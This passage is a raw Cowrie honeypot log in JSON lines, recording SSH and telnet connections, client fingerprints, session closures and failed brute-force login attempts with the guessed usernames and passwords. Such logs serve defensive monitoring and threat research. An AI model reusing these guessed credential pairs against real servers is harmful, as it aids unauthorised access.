-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:56.570338Z","src_ip":"159.203.92.129","session":"6839ac7faba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TNT","password":"Sekip333#","message":"login attempt [TNT/Sekip333#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:56.654020Z","src_ip":"159.203.92.129","session":"6839ac7faba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:57.663332Z","src_ip":"159.203.92.129","session":"6839ac7faba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":37874,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f830d358bcf","protocol":"ssh","message":"New connection: 2.57.122.193:37874 (10.17.0.5:22) [session: 1f830d358bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:07.632816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:07.638253Z","src_ip":"2.57.122.193","session":"1f830d358bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:07.741017Z","src_ip":"2.57.122.193","session":"1f830d358bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:08.179548Z","src_ip":"2.57.122.193","session":"1f830d358bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34974,"dst_ip":"159.203.135.109","dst_port":22,"session":"2666bc212a0c","protocol":"ssh","message":"New connection: 80.94.92.186:34974 (159.203.135.109:22) [session: 2666bc212a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:22.036478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:22.135070Z","src_ip":"80.94.92.186","session":"2666bc212a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:22.237289Z","src_ip":"80.94.92.186","session":"2666bc212a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol321","message":"login attempt [sol/sol321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:22.961185Z","src_ip":"80.94.92.186","session":"2666bc212a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:24.341239Z","src_ip":"80.94.92.186","session":"2666bc212a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49236,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe77782d1dc9","protocol":"ssh","message":"New connection: 159.203.92.129:49236 (159.203.135.109:22) [session: fe77782d1dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:39.136445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:39.144550Z","src_ip":"159.203.92.129","session":"fe77782d1dc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:39.147887Z","src_ip":"159.203.92.129","session":"fe77782d1dc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TXN","password":"123","message":"login attempt [TXN/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:39.198425Z","src_ip":"159.203.92.129","session":"fe77782d1dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:40.230146Z","src_ip":"159.203.92.129","session":"fe77782d1dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157833099365,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:02:53.249811Z","src_ip":"144.124.192.106","session":"f68137cdcb8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44372,"dst_ip":"159.203.135.109","dst_port":22,"session":"15981109896a","protocol":"ssh","message":"New connection: 159.203.92.129:44372 (159.203.135.109:22) [session: 15981109896a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:22.447268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:22.451812Z","src_ip":"159.203.92.129","session":"15981109896a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:22.461741Z","src_ip":"159.203.92.129","session":"15981109896a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TXN","password":"123456","message":"login attempt [TXN/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:22.475953Z","src_ip":"159.203.92.129","session":"15981109896a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:23.513480Z","src_ip":"159.203.92.129","session":"15981109896a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.196","src_port":19270,"dst_ip":"159.203.135.109","dst_port":22,"session":"4599e4897641","protocol":"ssh","message":"New connection: 92.118.39.196:19270 (159.203.135.109:22) [session: 4599e4897641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:36.166529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:36.173444Z","src_ip":"92.118.39.196","session":"4599e4897641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:36.274202Z","src_ip":"92.118.39.196","session":"4599e4897641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:36.704773Z","src_ip":"92.118.39.196","session":"4599e4897641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":51650,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f50d8810f3a","protocol":"ssh","message":"New connection: 196.189.51.7:51650 (10.17.0.5:22) [session: 2f50d8810f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:38.092999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:38.097815Z","src_ip":"196.189.51.7","session":"2f50d8810f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:38.269299Z","src_ip":"196.189.51.7","session":"2f50d8810f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123456","message":"login attempt [tester/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:38.971537Z","src_ip":"196.189.51.7","session":"2f50d8810f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:03:40.141038Z","src_ip":"196.189.51.7","session":"2f50d8810f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34096,"dst_ip":"159.203.135.109","dst_port":22,"session":"529d5a23a6aa","protocol":"ssh","message":"New connection: 159.203.92.129:34096 (159.203.135.109:22) [session: 529d5a23a6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:05.851447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:05.863961Z","src_ip":"159.203.92.129","session":"529d5a23a6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:05.871821Z","src_ip":"159.203.92.129","session":"529d5a23a6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TXN","password":"TXN","message":"login attempt [TXN/TXN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:05.888518Z","src_ip":"159.203.92.129","session":"529d5a23a6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:06.897295Z","src_ip":"159.203.92.129","session":"529d5a23a6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56240,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c402d3a4af3","protocol":"ssh","message":"New connection: 159.203.92.129:56240 (159.203.135.109:22) [session: 0c402d3a4af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:51.456777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:51.461333Z","src_ip":"159.203.92.129","session":"0c402d3a4af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-